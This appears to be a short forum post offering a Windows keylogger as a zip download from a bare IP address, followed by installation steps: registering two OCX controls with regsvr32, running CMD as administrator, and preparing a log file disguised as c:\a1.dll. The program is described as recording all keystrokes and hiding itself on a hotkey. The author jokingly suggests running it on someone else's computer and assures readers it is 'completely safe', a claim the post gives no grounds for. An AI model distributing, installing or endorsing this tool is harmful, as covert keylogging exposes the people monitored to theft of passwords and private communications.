Heres a simple keylogger for windows ( including vista )
http://66.112.210.78/fdc.zip
usage instructions..
run the exe it will begin logging all keystrokes right away to c:\a1.dll
press f3 to make the program vanish so it cant be seen
press f4 to close the program
before you run the program read this
there are 2 drivers that you may need to install to use the program, they are included in the zip.
XP users , copy the 2 extra files into your windows\system32 folder then go to RUN and type
regsvr32 MSWINSCK.OCX
then type
regsvr32 RICHTX32.OCX
VISTA users, first copy the 2 files into your windows\system32 directory , then find CMD.exe in the same folder and right click it and run as administrator
then type
regsvr32 MSWINSCK.OCX
then type
regsvr32 RICHTX32.OCX
you should get a success message they were registered correctly.
vista users will also need to create the file c:\a1.dll before the program runs, just save a blank text file as a1.dll , then right click on the file and set the permissions for the file for your user account to "full access" to read and write to it
p.s. if you are worried about the program its completely safe .
p.s. if you are really worried , run it on someone else's computer to test
p.s.s. if you are really really worried , you can have the source code and compile the exe yourself.